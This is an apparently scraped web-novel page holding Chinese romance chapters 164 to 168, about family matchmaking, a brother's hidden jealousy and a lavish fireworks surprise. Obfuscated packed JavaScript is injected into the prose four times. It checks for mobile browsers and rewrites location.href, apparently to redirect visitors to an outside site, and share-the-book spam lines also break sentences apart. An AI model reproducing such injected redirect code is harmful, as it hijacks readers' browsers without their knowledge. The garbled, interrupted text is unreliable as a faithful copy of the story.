主位上,傅老爷子和顾老交换了一个心照不宣的眼神,彼此都在对方眼中看到了满意。 傅老爷子捋着胡须,笑得眼角的皱纹都深了几分:“老顾啊,你看这两个丫头,聊得多投机。” 顾老亦是含笑点头:“是 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 啊,嫣丫头沉稳干练,微澜温和聪慧,能说到一块去,是她们的缘分。” 傅修沉坐在一旁的单人沙发上,长腿交叠,姿态慵懒。 他手里端着一杯咖啡,目光偶尔掠过相谈甚欢的明嫣和顾微澜,深邃的眼底掠过一丝了然的笑意。 他何等精明,自然看出了两位老爷子撮合陆凛和顾微澜的心思。 对此,他乐见其成。 陆凛那小子,野性难驯,身边是得有个知冷知热,又能镇得住场子的女人。 这位顾家小姐,无论家世、相貌、学识还是性格,都是上上之选。 最重要的是——她和明嫣合得来。 这一点,在傅修沉这里,几乎是最高加分项。 他抿了口咖啡,唇角几不可察地弯了弯。 气氛正融洽温馨,忽然,门外传来佣人略带惊喜的通报声: “孙少爷回来了!” 话音刚落,一道挺拔的身影便带着室外的微凉气息,大步走进了客厅。 正是陆凛。 他显然来得匆忙,只穿着一件黑色衬衫,最上面的两颗扣子随意敞开着,露出线条分明的锁骨。 那头标志性的金发染回了黑色,削短不少,显得更加利落不羁,却也衬得他脸色有些过于冷白,眉眼间带着一股尚未完全散去的阴郁戾气。 他的突然出现,让客厅里轻松的氛围微微凝滞了一瞬。 他目光在室内一扫,掠过两位老爷子,在傅修沉脸上停顿一瞬,最后落在明嫣身上,扯了扯嘴角,语气带着他特有的吊儿郎当的腔调:“好吃的在哪儿?火急火燎叫我回来,就为了看你们喝茶?” 第164章 配陆凛,绰绰有余 此时的明嫣正准备拈着一颗草莓往嘴里塞闻言想也没想顺手就朝他递了过去眼角微弯带着点没好气的笑意:“喏先堵上你的嘴。还火急火燎?好心让你回来打牙祭倒像是求着你似的。” 那草莓饱满尖端一点俏生生的白衬得她指尖愈发莹白。 陆凛接过草莓看也没看直接塞进嘴里三两下嚼了甜腻的汁水在口腔里爆开 “就这么打发我?” 他这一连串动作行云流水带着一种混不吝的野性偏偏那双眼睛盯着明嫣时有种近乎灼人的亮。 一旁的顾微澜看得面红心跳。 她不是没见过世家子弟或矜贵或儒雅或张扬却从未见过陆凛这样的。 顾微澜的心跳莫名漏了几拍下意识地垂眸端起茶杯掩饰性地抿了一口耳根却悄悄染上绯色。 她忍不住想这样一个看起来玩世不恭的男人若是真的动了心会对另一半是什么样子? 也会这样……看似霸道实则藏着不易察觉的温柔吗? “没个正形!”傅老爷子见他回来就捣乱故意板起脸训斥眼底却没什么怒意“没规矩!没看见有客人在?这位是顾爷爷的孙女微澜刚从剑桥读完法学硕士回来。人家姑娘知书达理你可好好跟人学学!” 陆凛这才像是刚看到顾微澜懒洋洋地掀了掀眼皮视线在她脸上停留不到一秒没什么温度地颔首算是打过招呼:“顾小姐。” 态度疏离与方才和明嫣斗嘴时的鲜活判若两人。 顾微澜压下心头那点异样柔声地打了打招呼:“陆少……” 陆凛没什么情绪地“嗯”了一声算是回应。 他径自走到傅修沉旁边的单人沙发坐下长腿一伸姿态懒散带着点不易察觉的烦躁。 傅修沉将弟弟的反应尽收眼底他慢条斯理地放下手中的咖啡杯杯底与骨瓷托盘发出清脆的轻响。 他没看陆凛反而抬眼看向明嫣唇角勾起一抹似笑非笑的弧度“看来好吃的也堵不住他的嘴。嫣嫣下次别费心叫他让他自己在外面野。” 明嫣接收到傅修沉的眼神心下明了顺着他的话笑道:“爷爷一片好心某些人不领情就算了。” 她说着自然地拿起茶壶先给顾微澜续了杯茶柔声道“微澜别介意他这人就这样习惯就好。” 顾微澜连忙双手捧杯笑容温婉:“不会的明嫣姐。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 她悄悄抬眼,又飞快地瞥了陆凛一眼,只见他低头看着手机屏幕,侧脸线条冷硬,那头黑发比起之前的金发,更添了几分沉郁的压迫感,让她心头小鹿乱撞,却又不敢多看。 傅老爷子见陆凛这副油盐不进的样子,心头火起,正想再训斥几句,一直乐呵呵看着小辈互动的顾老适时开口打圆场:“老傅啊,年轻人有年轻人的相处方式,咱们老一辈的,就别瞎掺和了。我看微澜和嫣丫头挺投缘的,这就很好嘛。” 这话成功转移了话题,傅老爷子顺着台阶下,又和顾老聊起了收藏的字画。 傅修沉则微微倾身,靠近明嫣,用只有两人能听到的声音低语,温热的气息拂过她耳廓:“怎么样,顾家这位小姐?” 明嫣侧头,对上他深邃的眼眸,里面带着洞悉一切的了然和询问。 她轻轻点头,同样压低声音:“很好,漂亮又聪明,气质也好。” 她顿了顿,补充道,“我和她聊得来。” “嗯。”傅修沉几不可察地颔首,指尖在沙发扶手上轻轻点了点,“配陆凛,绰绰有余。” 只要明嫣觉得好,那便是真的好。 这时,管家福伯过来低声禀报,说是老夫人身体不适,今晚就不下来用晚饭了。 傅老爷子闻言,脸上掠过一丝复杂,随即摆了摆手:“知道了,让厨房把饭菜送上去,仔细伺候着。” 经过傅承平那件事后,傅老夫人在老宅的存在感大不如前,鲜少再插手事务,更别说这种有外客的场合。 众人心照不宣,话题便也绕开了她。 晚饭时分,长长的餐桌上摆满了精致佳肴。 傅修沉自然坐在主位,明嫣在他右手边,顾微澜则被安排在了陆凛旁边的位置。 陆凛全程没什么表情,只顾低头用餐,动作快却不见粗鲁,带着一股子压抑的沉闷。 对身旁努力找 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777659|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 话题的顾微澜,他也只是偶尔‘嗯’‘哦’两声,敷衍之意明显。 明嫣看在眼里,忍不住在桌下轻轻踢了傅修沉一下。 傅修沉抬眸,接收到她带着嗔怪的眼神,眉梢微挑。 他放下筷子,拿起餐巾擦了擦嘴角,动作优雅从容,随即目光转向陆凛,语气听不出喜怒:“陆凛。” 陆凛动作一顿,没抬头:“干嘛?” 傅修沉的嗓音低沉,“顾小姐初来乍到,对国内法律环境不熟,你之前在嫣嫣的律所待过一段时间,也算有些经验。之后顾小姐若是有什么需要帮忙的,你多照应些。” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 陆凛猛地抬起头,黑沉的眸子对上傅修沉平静无波的目光,兄弟俩视线在空中交汇,似有无形的火花迸溅。 几秒后,陆凛扯了扯嘴角,露出一抹带着讽意的笑:“大哥还真是为**心,连这种事都安排好了。” 他这话带着明显的刺,桌上的气氛瞬间有些僵硬。 顾微澜连忙打圆场,声音温柔:“不用麻烦陆少的,我自己可以……” “不麻烦。”傅修沉打断她,目光依旧锁在陆凛身上,语气淡然,“举手之劳。陆凛,你说呢?” 陆凛喉结滚动了一下,他看着傅修沉,又飞快地扫了一眼正抬眼看过来的明嫣,胸口那股无名火夹杂着涩意,烧得他五脏六腑都在疼。 他猛地灌了一口手边的冰水,压下喉间的梗塞,硬邦邦地吐出一个字:“……行。” 这顿饭,最终在一种微妙而压抑的气氛中结束。 饭后,佣人端上餐后水果和清茶。 傅修沉被傅老爷子叫到一旁说公司的事,明嫣便陪着顾微澜在偏厅喝茶聊天。 陆凛则一个人走到了庭院里,靠在廊柱下,点燃了一支烟。 夜色朦胧,勾勒出他挺拔却孤峭的身影。 尼古丁的气息吸入肺腑,却丝毫没能缓解他心头的烦躁。 他闭上眼,深吸一口冰冷的夜风。 脑子里反复回响着傅承平那些威胁的话语,还有那张该死的照片…… 第165章 帮你得到她(加更) 陆凛的思绪飘远不由得想起方才在茶室时对峙…… “来了?我的好外甥……” 陆凛反手甩上门隔绝了外面虚假的宁静。 他走到茶桌前双手撑在桌面俯身逼近黑沉的眸子里翻涌着毫不掩饰的杀意:“照片哪儿来的?” 傅承平低低地笑了起来笑声像破旧的风箱:“怎么?怕了?怕你那点见不得光的心思被你大哥知道?怕明嫣看到你那双……藏着脏东西的眼睛?” 陆凛猛地攥紧了拳骨节发出咔哒的轻响手背上青筋虬结。 他几乎是从齿缝里挤出声音:“少他妈废话!你想干什么?” “我想干什么?”傅承平重复着眼神像毒蛇一样在他脸上逡巡“阿凛舅舅是看着你长大的。你这点心思瞒得过傅修沉瞒得过老爷子可瞒不过我。” 他顿了顿语气带着一种洞悉一切的嘲弄“你喜欢明嫣 “放屁!”陆凛想也没想就厉声否认声音因激动而微微发颤带着一种被戳破心事的狼狈和暴怒“**少在这里胡说八道!” “不承认?”傅承平也不恼反而慢悠悠地端起面前冷掉的茶呷了一口姿态带着一种掌控全局的笃定“没关系。承不承认都改变不了事实。” 他放下茶杯目光幽幽地看向窗外语气带着蛊惑般的叹息:“阿凛舅舅是替你可惜啊……你就真的甘心吗?眼睁睁看着她在傅修沉身边看着他抱她亲她看着她对你笑你却永远只能叫她一声‘嫂子’?” 每一个字都像烧红的钢针狠狠扎进陆凛的耳膜刺入他最隐秘不堪的软肋。 心脏像是被一只无形的手狠狠攥紧痛得他呼吸一窒。 傅承平将他的反应尽收眼底嘴角勾起一抹扭曲的弧度声音压得更低“你能忍受吗?忍受你们之间隔着永远无法跨越的鸿沟?看着她为别的男人生儿育女和你……再无可能?” “闭嘴!”陆凛猛地直起身胸口剧烈起伏眼底的血色几乎要溢出来。 他死死瞪着傅承平像是要将他生吞活剥。 傅承平却像是没看到他的暴怒自顾自地说下去语气带着一种疯狂的诱惑:“阿凛跟舅舅合作。舅舅可以帮你……得到她。” 陆凛的瞳孔骤然收缩。 得到她? 这三个字像带着魔力的咒语瞬间在他混乱的脑海里掀起了惊涛骇浪。 那些被他死死压抑的卑劣疯狂的念头如同挣 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 脱牢笼的野兽咆哮着冲撞着他的理智。 他看着傅承平那张因怨恨和野心而扭曲的脸胃里一阵翻江倒海。 “不劳舅舅费心!” 他猛地转身不想再听这令人作呕的言论大步朝着门口走去。 身后传来傅承平信心满满带着一丝诡异笑意的声音:“你会回来找我的阿凛。等你受不了的时候……等你真正想要得到她的时候……舅舅等你。” …… “咳……咳咳……” 冰冷的夜风呛入喉咙拉回了陆凛飘远的思绪。 他剧烈地咳嗽起来咳得眼角都渗出了生理性的泪水。 指间的烟已经燃尽灼烫的触感传来他像是感觉不到疼猛地将烟蒂摁灭在身旁冰冷的石栏上发出“嗤”的一声轻响。 脚下已经散落了四五个烟头。 他烦躁地耙了耙那头利落的黑发试图将傅承平那些恶毒的话语和那张该死的照片从脑海里驱逐出去。 可那画面那声音如同附骨之疽挥之不去。 “陆凛?” 就在这时一道清亮柔和的女声自身后响起。 陆凛身体几不可察地一僵没有回头。 明嫣绕过廊柱走到他身边立刻闻到了浓重的烟味借着廊下昏黄的灯光看到了地上那些散乱的烟头。 她微微蹙眉:“怎么抽这么多烟?心情不好?” 陆凛侧过头夜色里他的侧脸线条冷硬 他看着她没有说话。 明嫣不由得抿了抿唇想到方才顾微澜红着脸求自己过来找陆凛的模样斟酌着用词“那个你觉得顾小姐怎么样? 陆凛的手指蜷缩了一下。 他依旧没回头喉结滚动从鼻腔里挤出一个模糊的音节:“嗯?” “就是……微澜啊。” 明嫣以为他没听清又补充道语气带着点不易察觉的试探“她人长得漂亮性格也好学识谈吐都没得挑关键是跟我们也很聊得来。爷爷和顾老他们……似乎也挺看好你们的。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777660|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “说完了?”陆凛忽然打断她声音低哑带着一丝不易察觉的冷嘲。 明嫣愣了一下:“啊?” 陆凛转过头目光直直地看向她廊下的光影在他眼底投下深深的阴影让人看不清其中的情绪。 他扯了扯嘴角那弧度带着点玩世不恭又有点别的什么:“绕这么大圈子就是想给我牵红线 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ?” 明嫣没料到他问得如此直接,脸颊微微发热,有些窘迫,但还是坦然承认了:“是又怎么样?顾小姐各方面都很优秀,爷爷和顾老也有这个意思。我觉得……你们可以试着了解看看。” 她越说越觉得有道理,努力摆出嫂子的架势,语重心长:“陆凛,你也该定定性了。微澜这样的女孩子,错过了可惜。她刚回国,对国内环境不熟,你多带她出去走走,熟悉熟悉……” “够了。” 陆凛猛地出声,截断了她的话。 他看着她一张一合的红唇,听着她那些为他“着想”的话,每一个字都像是一把钝刀,在他心上来回切割。 她在把他往外推。 亲手把他推向另一个女人。 傅承平那些恶毒的话语再次在耳边回响—— “你就真的甘心吗?” “看着她永远是你‘嫂子’的身份……” “你能忍受吗?” 一股混合着愤怒不甘的酸楚,如同岩浆般在他胸腔里轰然爆发,几乎要将他整个人撑裂! 他死死攥紧了拳头,指甲深陷进掌心,才勉强维持着表面的平静。 他看着她,看了很久,久到明嫣都觉得有些不安,下意识地后退了半步。 然后,他极轻地笑了一声。 “我的事,”他盯着她的眼睛,一字一顿,声音嘶哑得厉害,“不、劳、你、费、心。” 最后几个字,他咬得极重,像是用尽了全身的力气。 说完,他不再看她瞬间怔住的脸色,猛地转身,大步流星地朝着宅子相反的方向走去,背影决绝,很快便融入了浓稠的夜色里,消失不见。 明嫣看着他消失的方向,一脸懵地眨了眨眼—— 她……说错什么了吗? 第166章 惊喜! 陆凛这小子是吃枪药了? 还是叛逆期延迟到现在才爆发? 明嫣站在原地,晚风拂过她脸颊,带起几缕发丝,心里那点莫名其妙的感觉还没理清,身后就传来了轻柔的脚步声。 “明嫣姐…… 明嫣下意识地回眸。 只见顾微澜朝这边走了过来,目光下意识地往陆凛离开的方向瞟了一眼,声音轻轻的:“陆少他……是不是生气了?因为我? 女孩儿的心思细腻又敏感,方才饭桌上陆凛那毫不掩饰的冷淡,很难不让人多想。 明嫣回过神,压下心头那点异样,转身对顾微澜露出一个宽慰的笑,“别胡思乱想,他呀,就那狗脾气,阴晴不定的,估计是刚才被老爷子和他哥说了几句,脸上挂不住,闹别扭呢。跟你没关系,你别往心里去。 她顿了顿,想起陆凛那混不吝的样子,又补充道,“他要是真讨厌一个人,连个眼神都懒得给,还能坐那儿吃完一顿饭?我看他那就是……害羞。 “害羞?顾微澜眨了眨眼,对这个词用在陆凛身上感到一丝荒谬,可看着明嫣笃定的笑容,心底那点不安又悄悄散去些许。 她抿了抿唇,脑海中却不期然地闪过几个画面——是陆凛看向明嫣时的眼神。 那双总是带着桀骜和戾气的眸子,在触及明嫣时,会下意识地收敛锋芒,深处藏着一种她无法精准描绘的专注和……复杂。 那眼神又深又沉,仿佛压抑着无法言说的汹涌暗流。 陆凛他该不会…… 这个念头让顾微澜心口猛地一跳,一股寒意顺着脊椎悄然爬升。 但她随即用力甩了甩头,她在胡思乱想什么? 明嫣姐和傅总感情多好啊,那是沪上圈子里人人称羡的神仙眷侣。 傅修沉曾经可是生人勿近的沪圈太子爷,这位爷是怎么宠明嫣的,她虽刚回国,却也听过不少传闻。 那样一个眼里揉不得半点沙子的男人,若真有什么,怎么可能毫无察觉? 肯定是她想多了。 陆凛那人,大概天生就那样看人…… 顾微澜深吸一口气,挽住明嫣的胳膊,将心底那点疑虑强行压下,脸上重新挂上温婉的笑容:“嗯,我知道了,明嫣姐,可能是我太敏感了,陆少他……性子是特别了些,我不太了解他。 明嫣见她神色缓和,便笑着转移了话题,聊起了魔都最近的艺术展,两人相携着往灯火通明的宅子里走去。 …… 魔都的 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 冬日,寒意浸骨,呵气成霜。 距离农历新年只剩不到半月,整座城市却已迫不及待地披上红妆,街边灯笼高悬,商场里循环着喜庆的年节乐曲,冲淡了几分凛冽的萧条。 明嫣忙得脚不沾地。 嫣然律所魔都分所的筹备已进入最后冲刺阶段。 选址、装修、团队搭建、资质审批…… 千头万绪,她事事亲力亲为。 这晚,明嫣刚与装修公司敲定最后几处细节,揉着发酸的脖颈走出临时租用的写字楼。 寒风扑面,她下意识地拢紧大衣,一抬头,却看见那辆熟悉的黑色宾利静静停在路边。 傅修沉斜倚着车门,一身黑色长大衣衬得他肩宽腿长,身姿颀秀。 他指间夹着烟,却没吸,任由那点猩红在寒风中明灭,昏黄路灯将他轮廓勾勒得清绝冷隽,眼尾那颗朱砂痣在夜色中红得惊心。 见她出来,他随手摁灭烟蒂,几步迎上来,极其自然地将她微凉的手攥入掌心,又扯开大衣纽扣,将她整个人裹进带着他体温和清冽木质香气的怀抱里。 “这么晚?他低声问,下颌蹭了蹭她发顶,语气带着不易察觉的疼惜。 明嫣在他怀里蹭了蹭,含糊应道:“嗯,事情有点多。 他低笑,胸腔震动,没再多问,只揽着她上车。 车子并未驶向傅家老宅或她在魔都的公寓,而是朝着外滩方向开去。 明嫣有些疑惑,侧头看他。 傅修沉单手控着方向盘,另一只手始终握着她的,指腹有一下没一下地摩挲着她细腻的手背,目光落在前方流光溢彩的车河,唇角噙着一丝若有若无的弧度。 “带你去个地方。 车子最终停在外滩一处观景酒店。 二百七十度的落地窗几乎将整个外滩纳入眼中,依稀可见脚底下人潮涌动,而他们站在云端。 “你什么时候约的?明嫣被他牵着走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777661|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 到窗边的餐桌坐下,满脸的讶异。 这里的顶层观景套房仅此一间,据说已经预定到明年了…… 傅修沉但笑不语,只是低声吩咐服务生上菜。 很快,精致的菜肴一道道送上。 鹅肝嫩滑,牛排火候恰到好处,佐餐的红酒醇香迷人。 两人轻声交谈着,内容琐碎而温馨,多是明嫣说些律所的趣事,傅修沉偶尔点评几句,目光却始终专注地落在她身上。 窗外是流动的盛世繁华,窗内是旖旎的温情脉脉。 眼见着酒足 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 饭饱,明嫣觉得时机差不多了,她清了清嗓子,正准备开口—— 就在这时,窗外漆黑的夜幕,骤然被一道锐利的亮光划破! “咻——嘭!” 一朵巨大的烟花在夜空中轰然绽放,瞬间点亮了整片江面,也映亮了明嫣惊讶抬起的脸庞。 紧接着,是第二朵,第三朵…… 姹紫嫣红,形态各异,流星雨,千层菊,满天星…… 如同打翻了上帝的调色盘,将墨色的天幕渲染得如同瑰丽的梦境。 烟花炸开的轰鸣声隔着厚重的玻璃,变得沉闷而遥远,反而更添一种不真实的美感。 “哇……”明嫣忍不住低呼,瞳仁里倒映着漫天流火,璀璨夺目。 她看得痴了,面庞在光影里明明灭灭。 她在看烟花,而他在看她。 傅修沉不知何时已放下了酒杯,身体微微后靠,目光沉静地落在她侧脸上。 那眼神深邃,带着毫不掩饰的宠溺和几乎要将人溺毙的温柔。 仿佛窗外那价值千金的盛大焰火,也不过是她此刻惊艳神情的陪衬。 长达近半小时的烟花盛宴,极尽绚烂与奢靡,将浦江两岸照得亮如白昼,也引来了江边无数市民和游客的驻足惊叹,欢呼声隐隐传来。 明嫣以为这已是极致,然而,就在一波绚烂的蓝色瀑布状烟花坠落之后,天空短暂地暗了一瞬。 随即,几道更加耀眼夺目的光芒冲天而起,在空中精准地炸开,拼凑成一串清晰而巨大的文字—— 【贺嫣然律所,立足沪上,大展宏图!】 第167章 谁让你那么乖…… 明嫣的心脏在那一刻仿佛停止了跳动。 她猛地扭头,看向身侧的男人。 傅修沉也正垂眸看她,漫天华彩落在他深邃的眼底,漾开温柔缱绻的波光。 他唇角弯起清晰的弧度,那笑容里带着毫不掩饰的宠溺。 “你……你早就知道了? 傅修沉低头,额角轻轻抵住她的,鼻尖相触,呼吸交融。 他嗓音低沉,含着笑,“我家老婆大人想给我惊喜,我总得配合一下,假装不知道。 明嫣脸颊瞬间爆红,羞恼地捶了他一下:“傅修沉!你故意的! 他闷笑,抓住她作乱的手,放在唇边轻轻一吻:“嗯,故意的。想看看我的小姑娘,能为我做到哪一步。 他顿了顿,目光锁住她,语气认真而温柔:“做得很好,嫣嫣。比我预想中,还要好。 巨大的感动和喜悦如同暖流,瞬间涌遍四肢百骸。 明嫣眼圈一热,什么矜持惊喜都被抛到了脑后,她主动环住他的脖颈,吻上了他的唇…… 傅修沉有一瞬的怔楞——这是她第一次主动吻他…… 待回过神来,他立马收拢手臂,将她更紧地嵌入怀中,掌住她的后脑加深了这个吻。 不同于以往的霸道掠夺,而是极尽温柔缠绵。 直到明嫣被吻的快要呼吸不了的时候,傅修沉这才微微后撤,深邃的眼眸里毫不掩饰地潮气涌动,嗓音更是低哑的一塌糊涂,“嫣嫣,可以吗? 可以什么,不言而喻。 明嫣不由得俏脸微红,微微地点了点头。 而下一秒,她整个人腾空,赫然被傅修沉拦腰抱起,朝着大床走去。 意乱情迷间,烟花“嘭地一声炸开,将整个房间映照得如同白昼,明嫣微微睁开的迷蒙双眼,似乎瞥见傅修沉微敞的衬衫领口下,靠近锁骨下方的位置,有一道模糊的深色疤痕。 那疤痕…… 她心头莫名一悸,混沌的脑子闪过一丝清明,想要看得更清楚些。 可下一秒,那光芒转瞬即逝,夜色重新笼罩下来。 傅修沉似乎察觉到了她的分心,惩罚性地在她下唇轻轻一咬,随即更深地吻了进去,夺走了她所有的呼吸,也打断了她的思绪…… …… 晨光熹微,透过酒店顶层落地窗的薄纱,柔柔地洒满一室。 明嫣幽幽转醒,记忆回笼,昨夜窗外漫天绚烂的烟花,窗内极致缠绵的炽热…… “醒了?低沉含笑的 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 嗓音自床边响起。 明嫣抬眸,看见傅修沉端着一杯温水走过来。 他早已穿戴整齐,一身剪裁完美的深灰色西装,衬得人身姿挺拔,清隽矜贵,与昨夜那个在她身上失控索求的男人判若两人。 只是,当她的视线落在他骨节分明的手上时,脸颊“轰”地一下烧了起来。 就是这双手,昨夜是如何在她战栗的肌肤上点燃火苗,如何掐着她的腰…… “脸怎么这么红?”傅修沉在床边坐下,将水杯递到她唇边,眸色深沉,带着洞悉一切的玩味,“还在想昨晚?” 明嫣就着他的手小口喝水,温热的水流滋润了干涩的喉咙,却浇不灭脸上的热意。 她羞恼地瞪他一眼,眼波流转间自带一股被彻底疼爱后的媚意。 傅修沉喉结微动,指腹轻轻擦过她唇角的水渍,声音低了几分:“怪我?谁让你那么乖,那么……” 他俯身,在她泛红的耳廓边,用气音吐出两个字,“漂亮。” 明嫣耳根瞬间红透,手忙脚乱地推开他,“你……你别说了!” 看着她这副羞窘得快要冒烟的模样,傅修沉低低地笑了起来,胸腔震动,显然心情极好。 他不再逗她,将她连人带被子揽进怀里,像哄小孩似的拍了拍,“好了,不闹你。起来吃早饭,嗯?” 餐厅里,早餐已经备好,是精致的粤式点心。 电视里播放着早间财经新闻。 明嫣小口吃着虾饺,听着主持人字正腔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16777662|190312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 圆地报道:“……据悉,明氏集团于昨日成功竞得城东核心地块,标志着其‘东进战略’取得里程碑式突破。该地块规划建设大型综合商业体及高端住宅区,市场估值潜力巨大。明氏集团董事长明庭峰表示,对此项目充满信心,预计将带动集团业绩新一轮增长……” 画面切换到父亲明庭峰接受采访的镜头,他穿着笔挺的西装,精神矍铄,谈笑风生,眉宇间是多年商海沉浮历练出的从容与自信。 “看来明伯父这次是旗开得胜。”傅修沉将一枚剥好的蟹柳烧卖夹到她碟中,唇角微微上扬。 “嗯!”明嫣用力点头,眼睛亮晶晶的,“我就知道爸爸可以的。” 傅修沉将剥好的水煮蛋放入她面前的碟子里,神色平静,唇角微勾:“嗯,明伯父经验丰富,自有决断。” 他顿了顿,抬眼看着她,“这下可以放心了?” 明嫣用力点头,像只卸下了重担的小猫,慵懒地靠在椅背上,“总算能过个安心年了。” 就在这时,她的手机响了起来,是母亲苏婉晴打来的。 “嫣儿,和修沉在一起吗?” 苏婉晴的声音带着笑意,“看到新闻了吧?你爸高兴坏了,非说要亲自下厨露两手。你们晚上有空吗?回家来吃饭,咱们一家人庆祝庆祝。” 明嫣下意识地看向傅修沉,用眼神询问。 傅修沉对上她的目光,唇角微勾,轻轻颔首。 明嫣立刻对着电话那头甜声道:“好呀,妈,那我们晚上过去。” “哎,好,好!那我让厨房多准备几个你们爱吃的菜!修沉喜欢吃什么你也跟妈说……”苏婉晴絮絮叨叨地嘱咐着,喜悦之情透过电波传递过来。 挂了电话,明嫣只觉得连日的疲惫一扫而空,心里被暖意填得满满的。 她原本还担心父亲那边会出事,如今悬着的心也终于落回了实处。 投资风波看来是虚惊一场,父亲事业顺利,她和傅修沉感情稳定,律所分所也即将开业…… 一切的一切都向着最好的方向发展…… 第168章 拐走了明家最珍贵的明珠(加更) 傍晚,傅修沉亲自开车,载着明嫣回明家别墅。 车子平稳地驶入庭院,刚停稳,他便率先下车,绕到后备箱。 明嫣跟着下来,一眼望去,不由得微微睁大了眼睛。 后备箱里,琳琅满目,竟是塞得满满当当。 除了市面上常见的名贵烟酒、滋补品礼盒,更多是一些看似低调,实则价值连城的稀罕物。 傅修沉正挽起衬衫袖口,露出线条流畅的小臂,亲自动手,将那些大小不一的礼盒往外拿。 他身形挺拔,即便是做这些略显琐碎的事情,也自带一股清隽矜贵的气场。 “你……你这是把哪个拍卖行的仓库搬来了吗?”明嫣忍不住凑近,小声嘀咕,指尖拂过那冰凉的金丝楠木匣。 傅修沉侧头看她,廊下灯光在他深邃的眼底投下细碎的光影,他唇角微勾,“第一次正式以你未婚夫的身份登门庆祝,总不能太失礼。” 他顿了顿,俯身靠近她耳边,压低的声音带着磁性的哑,热气拂过她耳廓,“再说,拐走了明家最珍贵的明珠,总得好好表现,让岳父岳母放心。” 明嫣耳根一热,嗔怪地瞪了他一眼,心里却像是被蜜糖浸过,甜得发软。 这时,别墅门从里面打开,苏婉晴系着围裙迎了出来,脸上是掩不住的笑意:“听到车声了,快进来快进来,外面冷……哎呀!” 她话说到一半,看到傅修沉脚边那堆成小山的礼品,也愣住了,“修沉,你这孩子,人来就好了,怎么还带这么多东西?太见外了!” 傅修沉将手中一个沉甸甸的,装着古籍善本的紫檀木盒稳妥地放在一旁,这才直起身,对着苏婉晴谦和地颔首:“伯母,一点心意,不成敬意。恭喜伯父。” 明庭峰也闻声走了出来,看到这阵仗,威严的脸上也露出一丝无奈又受用的笑意:“修沉太客气了,快进屋,饭菜都准备好了,就等你们了。” 一家人热热闹闹地进了屋。 餐厅里,巨大的圆形餐桌上已经摆满了色香味俱全的菜肴,显然是苏婉晴带着佣人精心准备的。 落座后,气氛融洽。 苏婉晴不停地给傅修沉和明嫣夹菜,目光在两人之间流转,越看越是满意。 “修沉,多吃点这个鲍汁扣花胶,我盯着火候炖了好几个钟头,最是滋补。”苏婉晴将一块炖得晶莹剔透的花胶夹到傅修沉碗里。 “谢谢伯母。”傅修沉从善如流地尝了一口,点头赞道,“火候恰到好处,鲜而不腻,伯母手很好好。” 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 苏婉晴顿时笑逐颜开。 明庭峰也开了瓶珍藏的好酒,给傅修沉倒上,两人浅酌慢饮,聊着些商场时事和财经动向,言谈间,明庭峰对傅修沉的见识和眼光颇为赞赏。 酒过三巡,饭桌上的话题不免转向了家常。 苏婉晴叹了口气,语气带上了几分惦念和埋怨:“阿燃这孩子,真是越来越不着家了。这都快过年了,还在国外忙,电话也打得少,问他在做什么,就说处理公事,神神秘秘的。” 明庭峰端着酒杯,哼了一声:“翅膀硬了,由他去吧。那么大个人了,总归有他自己的主意。”话虽如此,眉宇间也掠过一丝不易察觉的牵挂。 明嫣见状,连忙拿出手机,笑道:“我这就给哥打个电话,催催他,看他什么时候回来。” 她说着,便拨通了明燃的视频电话。 响了几声后,电话被接通,屏幕那端出现了明燃略显疲惫却依旧冷峻的脸庞。 背景似乎是在酒店套房,灯光有些昏暗。 